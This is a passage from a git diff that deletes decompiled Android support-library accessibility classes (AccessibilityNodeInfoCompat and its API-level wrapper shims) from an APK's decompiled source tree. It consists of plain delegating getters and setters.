AccessibilityNodeInfoCompat obtain() { - return wrapNonNullInstance(IMPL.obtain()); - } - - public static AccessibilityNodeInfoCompat obtain(AccessibilityNodeInfoCompat accessibilityNodeInfoCompat) { - return wrapNonNullInstance(IMPL.obtain(accessibilityNodeInfoCompat.mInfo)); - } - - public void setSource(View view) { - IMPL.setSource(this.mInfo, view); - } - - public void setSource(View view, int i) { - IMPL.setSource(this.mInfo, view, i); - } - - public AccessibilityNodeInfoCompat findFocus(int i) { - return wrapNonNullInstance(IMPL.findFocus(this.mInfo, i)); - } - - public AccessibilityNodeInfoCompat focusSearch(int i) { - return wrapNonNullInstance(IMPL.focusSearch(this.mInfo, i)); - } - - public int getWindowId() { - return IMPL.getWindowId(this.mInfo); - } - - public int getChildCount() { - return IMPL.getChildCount(this.mInfo); - } - - public AccessibilityNodeInfoCompat getChild(int i) { - return wrapNonNullInstance(IMPL.getChild(this.mInfo, i)); - } - - public void addChild(View view) { - IMPL.addChild(this.mInfo, view); - } - - public void addChild(View view, int i) { - IMPL.addChild(this.mInfo, view, i); - } - - public boolean removeChild(View view) { - return IMPL.removeChild(this.mInfo, view); - } - - public boolean removeChild(View view, int i) { - return IMPL.removeChild(this.mInfo, view, i); - } - - public int getActions() { - return IMPL.getActions(this.mInfo); - } - - public void addAction(int i) { - IMPL.addAction(this.mInfo, i); - } - - public void addAction(AccessibilityActionCompat accessibilityActionCompat) { - IMPL.addAction(this.mInfo, accessibilityActionCompat.mAction); - } - - public boolean removeAction(AccessibilityActionCompat accessibilityActionCompat) { - return IMPL.removeAction(this.mInfo, accessibilityActionCompat.mAction); - } - - public boolean performAction(int i) { - return IMPL.performAction(this.mInfo, i); - } - - public boolean performAction(int i, Bundle bundle) { - return IMPL.performAction(this.mInfo, i, bundle); - } - - public void setMovementGranularities(int i) { - IMPL.setMovementGranularities(this.mInfo, i); - } - - public int getMovementGranularities() { - return IMPL.getMovementGranularities(this.mInfo); - } - - public List findAccessibilityNodeInfosByText(String str) { - ArrayList arrayList = new ArrayList(); - List findAccessibilityNodeInfosByText = IMPL.findAccessibilityNodeInfosByText(this.mInfo, str); - int size = findAccessibilityNodeInfosByText.size(); - for (int i = 0; i < size; i++) { - arrayList.add(new AccessibilityNodeInfoCompat(findAccessibilityNodeInfosByText.get(i))); - } - return arrayList; - } - - public AccessibilityNodeInfoCompat getParent() { - return wrapNonNullInstance(IMPL.getParent(this.mInfo)); - } - - public void setParent(View view) { - IMPL.setParent(this.mInfo, view); - } - - public void setParent(View view, int i) { - IMPL.setParent(this.mInfo, view, i); - } - - public void getBoundsInParent(Rect rect) { - IMPL.getBoundsInParent(this.mInfo, rect); - } - - public void setBoundsInParent(Rect rect) { - IMPL.setBoundsInParent(this.mInfo, rect); - } - - public void getBoundsInScreen(Rect rect) { - IMPL.getBoundsInScreen(this.mInfo, rect); - } - - public void setBoundsInScreen(Rect rect) { - IMPL.setBoundsInScreen(this.mInfo, rect); - } - - public boolean isCheckable() { - return IMPL.isCheckable(this.mInfo); - } - - public void setCheckable(boolean z) { - IMPL.setCheckable(this.mInfo, z); - } - - public boolean isChecked() { - return IMPL.isChecked(this.mInfo); - } - - public void setChecked(boolean z) { - IMPL.setChecked(this.mInfo, z); - } - - public boolean isFocusable() { - return IMPL.isFocusable(this.mInfo); - } - - public void setFocusable(boolean z) { - IMPL.setFocusable(this.mInfo, z); - } - - public boolean isFocused() { - return IMPL.isFocused(this.mInfo); - } - - public void setFocused(boolean z) { - IMPL.setFocused(this.mInfo, z); - } - - public boolean isVisibleToUser() { - return IMPL.isVisibleToUser(this.mInfo); - } - - public void setVisibleToUser(boolean z) { - IMPL.setVisibleToUser(this.mInfo, z); - } - - public boolean isAccessibilityFocused() { - return IMPL.isAccessibilityFocused(this.mInfo); - } - - public void setAccessibilityFocused(boolean z) { - IMPL.setAccessibilityFocused(this.mInfo, z); - } - - public boolean isSelected() { - return IMPL.isSelected(this.mInfo); - } - - public void setSelected(boolean z) { - IMPL.setSelected(this.mInfo, z); - } - - public boolean isClickable() { - return IMPL.isClickable(this.mInfo); - } - - public void setClickable(boolean z) { - IMPL.setClickable(this.mInfo, z); - } - - public boolean isLongClickable() { - return IMPL.isLongClickable(this.mInfo); - } - - public void setLongClickable(boolean z) { - IMPL.setLongClickable(this.mInfo, z); - } - - public boolean isEnabled() { - return IMPL.isEnabled(this.mInfo); - } - - public void setEnabled(boolean z) { - IMPL.setEnabled(this.mInfo, z); - } - - public boolean isPassword() { - return IMPL.isPassword(this.mInfo); - } - - public void setPassword(boolean z) { - IMPL.setPassword(this.mInfo, z); - } - - public boolean isScrollable() { - return IMPL.isScrollable(this.mInfo); - } - - public void setScrollable(boolean z) { - IMPL.setScrollable(this.mInfo, z); - } - - public boolean isImportantForAccessibility() { - return IMPL.isImportantForAccessibility(this.mInfo); - } - - public void setImportantForAccessibility(boolean z) { - IMPL.setImportantForAccessibility(this.mInfo, z); - } - - public CharSequence getPackageName() { - return IMPL.getPackageName(this.mInfo); - } - - public void setPackageName(CharSequence charSequence) { - IMPL.setPackageName(this.mInfo, charSequence); - } - - public CharSequence getClassName() { - return IMPL.getClassName(this.mInfo); - } - - public void setClassName(CharSequence charSequence) { - IMPL.setClassName(this.mInfo, charSequence); - } - - public CharSequence getText() { - return IMPL.getText(this.mInfo); - } - - public void setText(CharSequence charSequence) { - IMPL.setText(this.mInfo, charSequence); - } - - public CharSequence getContentDescription() { - return IMPL.getContentDescription(this.mInfo); - } - - public void setContentDescription(CharSequence charSequence) { - IMPL.setContentDescription(this.mInfo, charSequence); - } - - public void recycle() { - IMPL.recycle(this.mInfo); - } - - public void setViewIdResourceName(String str) { - IMPL.setViewIdResourceName(this.mInfo, str); - } - - public String getViewIdResourceName() { - return IMPL.getViewIdResourceName(this.mInfo); - } - - public int getLiveRegion() { - return IMPL.getLiveRegion(this.mInfo); - } - - public void setLiveRegion(int i) { - IMPL.setLiveRegion(this.mInfo, i); - } - - public int getDrawingOrder() { - return IMPL.getDrawingOrder(this.mInfo); - } - - public void setDrawingOrder(int i) { - IMPL.setDrawingOrder(this.mInfo, i); - } - - public CollectionInfoCompat getCollectionInfo() { - Object collectionInfo = IMPL.getCollectionInfo(this.mInfo); - if (collectionInfo == null) { - return null; - } - return new CollectionInfoCompat(collectionInfo); - } - - public void setCollectionInfo(Object obj) { - IMPL.setCollectionInfo(this.mInfo, ((CollectionInfoCompat) obj).mInfo); - } - - public void setCollectionItemInfo(Object obj) { - IMPL.setCollectionItemInfo(this.mInfo, ((CollectionItemInfoCompat) obj).mInfo); - } - - public CollectionItemInfoCompat getCollectionItemInfo() { - Object collectionItemInfo = IMPL.getCollectionItemInfo(this.mInfo); - if (collectionItemInfo == null) { - return null; - } - return new CollectionItemInfoCompat(collectionItemInfo); - } - - public RangeInfoCompat getRangeInfo() { - Object rangeInfo = IMPL.getRangeInfo(this.mInfo); - if (rangeInfo == null) { - return null; - } - return new RangeInfoCompat(rangeInfo); - } - - public void setRangeInfo(RangeInfoCompat rangeInfoCompat) { - IMPL.setRangeInfo(this.mInfo, rangeInfoCompat.mInfo); - } - - public List getActionList() { - List actionList = IMPL.getActionList(this.mInfo); - if (actionList != null) { - ArrayList arrayList = new ArrayList(); - int size = actionList.size(); - for (int i = 0; i < size; i++) { - arrayList.add(new AccessibilityActionCompat(actionList.get(i))); - } - return arrayList; - } - return Collections.emptyList(); - } - - public void setContentInvalid(boolean z) { - IMPL.setContentInvalid(this.mInfo, z); - } - - public boolean isContentInvalid() { - return IMPL.isContentInvalid(this.mInfo); - } - - public boolean isContextClickable() { - return IMPL.isContextClickable(this.mInfo); - } - - public void setContextClickable(boolean z) { - IMPL.setContextClickable(this.mInfo, z); - } - - public void setError(CharSequence charSequence) { - IMPL.setError(this.mInfo, charSequence); - } - - public CharSequence getError() { - return IMPL.getError(this.mInfo); - } - - public void setLabelFor(View view) { - IMPL.setLabelFor(this.mInfo, view); - } - - public void setLabelFor(View view, int i) { - IMPL.setLabelFor(this.mInfo, view, i); - } - - public AccessibilityNodeInfoCompat getLabelFor() { - return wrapNonNullInstance(IMPL.getLabelFor(this.mInfo)); - } - - public void setLabeledBy(View view) { - IMPL.setLabeledBy(this.mInfo, view); - } - - public void setLabeledBy(View view, int i) { - IMPL.setLabeledBy(this.mInfo, view, i); - } - - public AccessibilityNodeInfoCompat getLabeledBy() { - return wrapNonNullInstance(IMPL.getLabeledBy(this.mInfo)); - } - - public boolean canOpenPopup() { - return IMPL.canOpenPopup(this.mInfo); - } - - public void setCanOpenPopup(boolean z) { - IMPL.setCanOpenPopup(this.mInfo, z); - } - - public List findAccessibilityNodeInfosByViewId(String str) { - List findAccessibilityNodeInfosByViewId = IMPL.findAccessibilityNodeInfosByViewId(this.mInfo, str); - if (findAccessibilityNodeInfosByViewId != null) { - ArrayList arrayList = new ArrayList(); - for (Object obj : findAccessibilityNodeInfosByViewId) { - arrayList.add(new AccessibilityNodeInfoCompat(obj)); - } - return arrayList; - } - return Collections.emptyList(); - } - - public Bundle getExtras() { - return IMPL.getExtras(this.mInfo); - } - - public int getInputType() { - return IMPL.getInputType(this.mInfo); - } - - public void setInputType(int i) { - IMPL.setInputType(this.mInfo, i); - } - - public void setMaxTextLength(int i) { - IMPL.setMaxTextLength(this.mInfo, i); - } - - public int getMaxTextLength() { - return IMPL.getMaxTextLength(this.mInfo); - } - - public void setTextSelection(int i, int i2) { - IMPL.setTextSelection(this.mInfo, i, i2); - } - - public int getTextSelectionStart() { - return IMPL.getTextSelectionStart(this.mInfo); - } - - public int getTextSelectionEnd() { - return IMPL.getTextSelectionEnd(this.mInfo); - } - - public AccessibilityNodeInfoCompat getTraversalBefore() { - return wrapNonNullInstance(IMPL.getTraversalBefore(this.mInfo)); - } - - public void setTraversalBefore(View view) { - IMPL.setTraversalBefore(this.mInfo, view); - } - - public void setTraversalBefore(View view, int i) { - IMPL.setTraversalBefore(this.mInfo, view, i); - } - - public AccessibilityNodeInfoCompat getTraversalAfter() { - return wrapNonNullInstance(IMPL.getTraversalAfter(this.mInfo)); - } - - public void setTraversalAfter(View view) { - IMPL.setTraversalAfter(this.mInfo, view); - } - - public void setTraversalAfter(View view, int i) { - IMPL.setTraversalAfter(this.mInfo, view, i); - } - - public AccessibilityWindowInfoCompat getWindow() { - return AccessibilityWindowInfoCompat.wrapNonNullInstance(IMPL.getWindow(this.mInfo)); - } - - public boolean isDismissable() { - return IMPL.isDismissable(this.mInfo); - } - - public void setDismissable(boolean z) { - IMPL.setDismissable(this.mInfo, z); - } - - public boolean isEditable() { - return IMPL.isEditable(this.mInfo); - } - - public void setEditable(boolean z) { - IMPL.setEditable(this.mInfo, z); - } - - public boolean isMultiLine() { - return IMPL.isMultiLine(this.mInfo); - } - - public void setMultiLine(boolean z) { - IMPL.setMultiLine(this.mInfo, z); - } - - public boolean refresh() { - return IMPL.refresh(this.mInfo); - } - - public CharSequence getRoleDescription() { - return IMPL.getRoleDescription(this.mInfo); - } - - public void setRoleDescription(CharSequence charSequence) { - IMPL.setRoleDescription(this.mInfo, charSequence); - } - - public int hashCode() { - Object obj = this.mInfo; - if (obj == null) { - return 0; - } - return obj.hashCode(); - } - - public boolean equals(Object obj) { - if (this == obj) { - return true; - } - if (obj != null && getClass() == obj.getClass()) { - AccessibilityNodeInfoCompat accessibilityNodeInfoCompat = (AccessibilityNodeInfoCompat) obj; - Object obj2 = this.mInfo; - if (obj2 == null) { - if (accessibilityNodeInfoCompat.mInfo != null) { - return false; - } - } else if (!obj2.equals(accessibilityNodeInfoCompat.mInfo)) { - return false; - } - return true; - } - return false; - } - - public String toString() { - StringBuilder sb = new StringBuilder(); - sb.append(super.toString()); - Rect rect = new Rect(); - getBoundsInParent(rect); - sb.append("; boundsInParent: " + rect); - getBoundsInScreen(rect); - sb.append("; boundsInScreen: " + rect); - sb.append("; packageName: ").append(getPackageName()); - sb.append("; className: ").append(getClassName()); - sb.append("; text: ").append(getText()); - sb.append("; contentDescription: ").append(getContentDescription()); - sb.append("; viewId: ").append(getViewIdResourceName()); - sb.append("; checkable: ").append(isCheckable()); - sb.append("; checked: ").append(isChecked()); - sb.append("; focusable: ").append(isFocusable()); - sb.append("; focused: ").append(isFocused()); - sb.append("; selected: ").append(isSelected()); - sb.append("; clickable: ").append(isClickable()); - sb.append("; longClickable: ").append(isLongClickable()); - sb.append("; enabled: ").append(isEnabled()); - sb.append("; password: ").append(isPassword()); - sb.append("; scrollable: " + isScrollable()); - sb.append("; ["); - int actions = getActions(); - while (actions != 0) { - int numberOfTrailingZeros = 1 << Integer.numberOfTrailingZeros(actions); - actions &= ~numberOfTrailingZeros; - sb.append(getActionSymbolicName(numberOfTrailingZeros)); - if (actions != 0) { - sb.append(", "); - } - } - sb.append("]"); - return sb.toString(); - } - - private static String getActionSymbolicName(int i) { - if (i != 1) { - if (i == 2) { - return "ACTION_CLEAR_FOCUS"; - } - switch (i) { - case 4: - return "ACTION_SELECT"; - case 8: - return "ACTION_CLEAR_SELECTION"; - case 16: - return "ACTION_CLICK"; - case 32: - return "ACTION_LONG_CLICK"; - case 64: - return "ACTION_ACCESSIBILITY_FOCUS"; - case 128: - return "ACTION_CLEAR_ACCESSIBILITY_FOCUS"; - case 256: - return "ACTION_NEXT_AT_MOVEMENT_GRANULARITY"; - case 512: - return "ACTION_PREVIOUS_AT_MOVEMENT_GRANULARITY"; - case 1024: - return "ACTION_NEXT_HTML_ELEMENT"; - case 2048: - return "ACTION_PREVIOUS_HTML_ELEMENT"; - case 4096: - return "ACTION_SCROLL_FORWARD"; - case 8192: - return "ACTION_SCROLL_BACKWARD"; - case 16384: - return "ACTION_COPY"; - case 32768: - return "ACTION_PASTE"; - case 65536: - return "ACTION_CUT"; - case 131072: - return "ACTION_SET_SELECTION"; - default: - return "ACTION_UNKNOWN"; - } - } - return "ACTION_FOCUS"; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityNodeInfoCompatApi21.java b/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityNodeInfoCompatApi21.java deleted file mode 100644 index 51d56e6..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityNodeInfoCompatApi21.java +++ /dev/null @@ -1,95 +0,0 @@ -package android.support.v4.view.accessibility; - -import android.view.View; -import android.view.accessibility.AccessibilityNodeInfo; -import java.util.List; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class AccessibilityNodeInfoCompatApi21 { - AccessibilityNodeInfoCompatApi21() { - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static List getActionList(Object obj) { - return ((AccessibilityNodeInfo) obj).getActionList(); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static void addAction(Object obj, Object obj2) { - ((AccessibilityNodeInfo) obj).addAction((AccessibilityNodeInfo.AccessibilityAction) obj2); - } - - public static boolean removeAction(Object obj, Object obj2) { - return ((AccessibilityNodeInfo) obj).removeAction((AccessibilityNodeInfo.AccessibilityAction) obj2); - } - - public static Object obtainCollectionInfo(int i, int i2, boolean z, int i3) { - return AccessibilityNodeInfo.CollectionInfo.obtain(i, i2, z, i3); - } - - public static Object obtainCollectionItemInfo(int i, int i2, int i3, int i4, boolean z, boolean z2) { - return AccessibilityNodeInfo.CollectionItemInfo.obtain(i, i2, i3, i4, z, z2); - } - - public static CharSequence getError(Object obj) { - return ((AccessibilityNodeInfo) obj).getError(); - } - - public static void setError(Object obj, CharSequence charSequence) { - ((AccessibilityNodeInfo) obj).setError(charSequence); - } - - public static void setMaxTextLength(Object obj, int i) { - ((AccessibilityNodeInfo) obj).setMaxTextLength(i); - } - - public static int getMaxTextLength(Object obj) { - return ((AccessibilityNodeInfo) obj).getMaxTextLength(); - } - - public static Object getWindow(Object obj) { - return ((AccessibilityNodeInfo) obj).getWindow(); - } - - public static boolean removeChild(Object obj, View view) { - return ((AccessibilityNodeInfo) obj).removeChild(view); - } - - public static boolean removeChild(Object obj, View view, int i) { - return ((AccessibilityNodeInfo) obj).removeChild(view, i); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class CollectionInfo { - CollectionInfo() { - } - - public static int getSelectionMode(Object obj) { - return ((AccessibilityNodeInfo.CollectionInfo) obj).getSelectionMode(); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class CollectionItemInfo { - CollectionItemInfo() { - } - - public static boolean isSelected(Object obj) { - return ((AccessibilityNodeInfo.CollectionItemInfo) obj).isSelected(); - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static Object newAccessibilityAction(int i, CharSequence charSequence) { - return new AccessibilityNodeInfo.AccessibilityAction(i, charSequence); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static int getAccessibilityActionId(Object obj) { - return ((AccessibilityNodeInfo.AccessibilityAction) obj).getId(); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static CharSequence getAccessibilityActionLabel(Object obj) { - return ((AccessibilityNodeInfo.AccessibilityAction) obj).getLabel(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityNodeInfoCompatApi22.java b/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityNodeInfoCompatApi22.java deleted file mode 100644 index 2d2dc05..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityNodeInfoCompatApi22.java +++ /dev/null @@ -1,33 +0,0 @@ -package android.support.v4.view.accessibility; - -import android.view.View; -import android.view.accessibility.AccessibilityNodeInfo; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class AccessibilityNodeInfoCompatApi22 { - AccessibilityNodeInfoCompatApi22() { - } - - public static Object getTraversalBefore(Object obj) { - return ((AccessibilityNodeInfo) obj).getTraversalBefore(); - } - - public static void setTraversalBefore(Object obj, View view) { - ((AccessibilityNodeInfo) obj).setTraversalBefore(view); - } - - public static void setTraversalBefore(Object obj, View view, int i) { - ((AccessibilityNodeInfo) obj).setTraversalBefore(view, i); - } - - public static Object getTraversalAfter(Object obj) { - return ((AccessibilityNodeInfo) obj).getTraversalAfter(); - } - - public static void setTraversalAfter(Object obj, View view) { - ((AccessibilityNodeInfo) obj).setTraversalAfter(view); - } - - public static void setTraversalAfter(Object obj, View view, int i) { - ((AccessibilityNodeInfo) obj).setTraversalAfter(view, i); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityNodeInfoCompatApi23.java b/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityNodeInfoCompatApi23.java deleted file mode 100644 index 93e7cc1..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityNodeInfoCompatApi23.java +++ /dev/null @@ -1,44 +0,0 @@ -package android.support.v4.view.accessibility; - -import android.view.accessibility.AccessibilityNodeInfo; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class AccessibilityNodeInfoCompatApi23 { - AccessibilityNodeInfoCompatApi23() { - } - - public static Object getActionScrollToPosition() { - return AccessibilityNodeInfo.AccessibilityAction.ACTION_SCROLL_TO_POSITION; - } - - public static boolean isContextClickable(Object obj) { - return ((AccessibilityNodeInfo) obj).isContextClickable(); - } - - public static void setContextClickable(Object obj, boolean z) { - ((AccessibilityNodeInfo) obj).setContextClickable(z); - } - - public static Object getActionShowOnScreen() { - return AccessibilityNodeInfo.AccessibilityAction.ACTION_SHOW_ON_SCREEN; - } - - public static Object getActionScrollUp() { - return AccessibilityNodeInfo.AccessibilityAction.ACTION_SCROLL_UP; - } - - public static Object getActionScrollDown() { - return AccessibilityNodeInfo.AccessibilityAction.ACTION_SCROLL_DOWN; - } - - public static Object getActionScrollLeft() { - return AccessibilityNodeInfo.AccessibilityAction.ACTION_SCROLL_LEFT; - } - - public static Object getActionScrollRight() { - return AccessibilityNodeInfo.AccessibilityAction.ACTION_SCROLL_RIGHT; - } - - public static Object getActionContextClick() { - return AccessibilityNodeInfo.AccessibilityAction.ACTION_CONTEXT_CLICK; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityNodeInfoCompatApi24.java b/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityNodeInfoCompatApi24.java deleted file mode 100644 index 21d5e7e..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityNodeInfoCompatApi24.java +++ /dev/null @@ -1,28 +0,0 @@ -package android.support.v4.view.accessibility; - -import android.view.accessibility.AccessibilityNodeInfo; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class AccessibilityNodeInfoCompatApi24 { - AccessibilityNodeInfoCompatApi24() { - } - - public static Object getActionSetProgress() { - return AccessibilityNodeInfo.AccessibilityAction.ACTION_SET_PROGRESS; - } - - public static int getDrawingOrder(Object obj) { - return ((AccessibilityNodeInfo) obj).getDrawingOrder(); - } - - public static void setDrawingOrder(Object obj, int i) { - ((AccessibilityNodeInfo) obj).setDrawingOrder(i); - } - - public static boolean isImportantForAccessibility(Object obj) { - return ((AccessibilityNodeInfo) obj).isImportantForAccessibility(); - } - - public static void setImportantForAccessibility(Object obj, boolean z) { - ((AccessibilityNodeInfo) obj).setImportantForAccessibility(z); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityNodeInfoCompatIcs.java b/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityNodeInfoCompatIcs.java deleted file mode 100644 index 0f7a41c..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityNodeInfoCompatIcs.java +++ /dev/null @@ -1,199 +0,0 @@ -package android.support.v4.view.accessibility; - -import android.graphics.Rect; -import android.view.View; -import android.view.accessibility.AccessibilityNodeInfo; -import java.util.List; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class AccessibilityNodeInfoCompatIcs { - AccessibilityNodeInfoCompatIcs() { - } - - public static Object obtain() { - return AccessibilityNodeInfo.obtain(); - } - - public static Object obtain(View view) { - return AccessibilityNodeInfo.obtain(view); - } - - public static Object obtain(Object obj) { - return AccessibilityNodeInfo.obtain((AccessibilityNodeInfo) obj); - } - - public static void addAction(Object obj, int i) { - ((AccessibilityNodeInfo) obj).addAction(i); - } - - public static void addChild(Object obj, View view) { - ((AccessibilityNodeInfo) obj).addChild(view); - } - - public static List findAccessibilityNodeInfosByText(Object obj, String str) { - return ((AccessibilityNodeInfo) obj).findAccessibilityNodeInfosByText(str); - } - - public static int getActions(Object obj) { - return ((AccessibilityNodeInfo) obj).getActions(); - } - - public static void getBoundsInParent(Object obj, Rect rect) { - ((AccessibilityNodeInfo) obj).getBoundsInParent(rect); - } - - public static void getBoundsInScreen(Object obj, Rect rect) { - ((AccessibilityNodeInfo) obj).getBoundsInScreen(rect); - } - - public static Object getChild(Object obj, int i) { - return ((AccessibilityNodeInfo) obj).getChild(i); - } - - public static int getChildCount(Object obj) { - return ((AccessibilityNodeInfo) obj).getChildCount(); - } - - public static CharSequence getClassName(Object obj) { - return ((AccessibilityNodeInfo) obj).getClassName(); - } - - public static CharSequence getContentDescription(Object obj) { - return ((AccessibilityNodeInfo) obj).getContentDescription(); - } - - public static CharSequence getPackageName(Object obj) { - return ((AccessibilityNodeInfo) obj).getPackageName(); - } - - public static Object getParent(Object obj) { - return ((AccessibilityNodeInfo) obj).getParent(); - } - - public static CharSequence getText(Object obj) { - return ((AccessibilityNodeInfo) obj).getText(); - } - - public static int getWindowId(Object obj) { - return ((AccessibilityNodeInfo) obj).getWindowId(); - } - - public static boolean isCheckable(Object obj) { - return ((AccessibilityNodeInfo) obj).isCheckable(); - } - - public static boolean isChecked(Object obj) { - return ((AccessibilityNodeInfo) obj).isChecked(); - } - - public static boolean isClickable(Object obj) { - return ((AccessibilityNodeInfo) obj).isClickable(); - } - - public static boolean isEnabled(Object obj) { - return ((AccessibilityNodeInfo) obj).isEnabled(); - } - - public static boolean isFocusable(Object obj) { - return ((AccessibilityNodeInfo) obj).isFocusable(); - } - - public static boolean isFocused(Object obj) { - return ((AccessibilityNodeInfo) obj).isFocused(); - } - - public static boolean isLongClickable(Object obj) { - return ((AccessibilityNodeInfo) obj).isLongClickable(); - } - - public static boolean isPassword(Object obj) { - return ((AccessibilityNodeInfo) obj).isPassword(); - } - - public static boolean isScrollable(Object obj) { - return ((AccessibilityNodeInfo) obj).isScrollable(); - } - - public static boolean isSelected(Object obj) { - return ((AccessibilityNodeInfo) obj).isSelected(); - } - - public static boolean performAction(Object obj, int i) { - return ((AccessibilityNodeInfo) obj).performAction(i); - } - - public static void setBoundsInParent(Object obj, Rect rect) { - ((AccessibilityNodeInfo) obj).setBoundsInParent(rect); - } - - public static void setBoundsInScreen(Object obj, Rect rect) { - ((AccessibilityNodeInfo) obj).setBoundsInScreen(rect); - } - - public static void setCheckable(Object obj, boolean z) { - ((AccessibilityNodeInfo) obj).setCheckable(z); - } - - public static void setChecked(Object obj, boolean z) { - ((AccessibilityNodeInfo) obj).setChecked(z); - } - - public static void setClassName(Object obj, CharSequence charSequence) { - ((AccessibilityNodeInfo) obj).setClassName(charSequence); - } - - public static void setClickable(Object obj, boolean z) { - ((AccessibilityNodeInfo) obj).setClickable(z); - } - - public static void setContentDescription(Object obj, CharSequence charSequence) { - ((AccessibilityNodeInfo) obj).setContentDescription(charSequence); - } - - public static void setEnabled(Object obj, boolean z) { - ((AccessibilityNodeInfo) obj).setEnabled(z); - } - - public static void setFocusable(Object obj, boolean z) { - ((AccessibilityNodeInfo) obj).setFocusable(z); - } - - public static void setFocused(Object obj, boolean z) { - ((AccessibilityNodeInfo) obj).setFocused(z); - } - - public static void setLongClickable(Object obj, boolean z) { - ((AccessibilityNodeInfo) obj).setLongClickable(z); - } - - public static void setPackageName(Object obj, CharSequence charSequence) { - ((AccessibilityNodeInfo) obj).setPackageName(charSequence); - } - - public static void setParent(Object obj, View view) { - ((AccessibilityNodeInfo) obj).setParent(view); - } - - public static void setPassword(Object obj, boolean z) { - ((AccessibilityNodeInfo) obj).setPassword(z); - } - - public static void setScrollable(Object obj, boolean z) { - ((AccessibilityNodeInfo) obj).setScrollable(z); - } - - public static void setSelected(Object obj, boolean z) { - ((AccessibilityNodeInfo) obj).setSelected(z); - } - - public static void setSource(Object obj, View view) { - ((AccessibilityNodeInfo) obj).setSource(view); - } - - public static void setText(Object obj, CharSequence charSequence) { - ((AccessibilityNodeInfo) obj).setText(charSequence); - } - - public static void recycle(Object obj) { - ((AccessibilityNodeInfo) obj).recycle(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityNodeInfoCompatJellyBean.java b/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityNodeInfoCompatJellyBean.java deleted file mode 100644 index d9e69e5..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityNodeInfoCompatJellyBean.java +++ /dev/null @@ -1,62 +0,0 @@ -package android.support.v4.view.accessibility; - -import android.os.Bundle; -import android.view.View; -import android.view.accessibility.AccessibilityNodeInfo; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class AccessibilityNodeInfoCompatJellyBean { - AccessibilityNodeInfoCompatJellyBean() { - } - - public static void addChild(Object obj, View view, int i) { - ((AccessibilityNodeInfo) obj).addChild(view, i); - } - - public static void setSource(Object obj, View view, int i) { - ((AccessibilityNodeInfo) obj).setSource(view, i); - } - - public static boolean isVisibleToUser(Object obj) { - return ((AccessibilityNodeInfo) obj).isVisibleToUser(); - } - - public static void setVisibleToUser(Object obj, boolean z) { - ((AccessibilityNodeInfo) obj).setVisibleToUser(z); - } - - public static boolean performAction(Object obj, int i, Bundle bundle) { - return ((AccessibilityNodeInfo) obj).performAction(i, bundle); - } - - public static void setMovementGranularities(Object obj, int i) { - ((AccessibilityNodeInfo) obj).setMovementGranularities(i); - } - - public static int getMovementGranularities(Object obj) { - return ((AccessibilityNodeInfo) obj).getMovementGranularities(); - } - - public static Object obtain(View view, int i) { - return AccessibilityNodeInfo.obtain(view, i); - } - - public static Object findFocus(Object obj, int i) { - return ((AccessibilityNodeInfo) obj).findFocus(i); - } - - public static Object focusSearch(Object obj, int i) { - return ((AccessibilityNodeInfo) obj).focusSearch(i); - } - - public static void setParent(Object obj, View view, int i) { - ((AccessibilityNodeInfo) obj).setParent(view, i); - } - - public static boolean isAccessibilityFocused(Object obj) { - return ((AccessibilityNodeInfo) obj).isAccessibilityFocused(); - } - - public static void setAccesibilityFocused(Object obj, boolean z) { - ((AccessibilityNodeInfo) obj).setAccessibilityFocused(z); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityNodeInfoCompatJellybeanMr1.java b/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityNodeInfoCompatJellybeanMr1.java deleted file mode 100644 index aad8ed6..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityNodeInfoCompatJellybeanMr1.java +++ /dev/null @@ -1,33 +0,0 @@ -package android.support.v4.view.accessibility; - -import android.view.View; -import android.view.accessibility.AccessibilityNodeInfo; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class AccessibilityNodeInfoCompatJellybeanMr1 { - AccessibilityNodeInfoCompatJellybeanMr1() { - } - - public static void setLabelFor(Object obj, View view) { - ((AccessibilityNodeInfo) obj).setLabelFor(view); - } - - public static void setLabelFor(Object obj, View view, int i) { - ((AccessibilityNodeInfo) obj).setLabelFor(view, i); - } - - public static Object getLabelFor(Object obj) { - return ((AccessibilityNodeInfo) obj).getLabelFor(); - } - - public static void setLabeledBy(Object obj, View view) { - ((AccessibilityNodeInfo) obj).setLabeledBy(view); - } - - 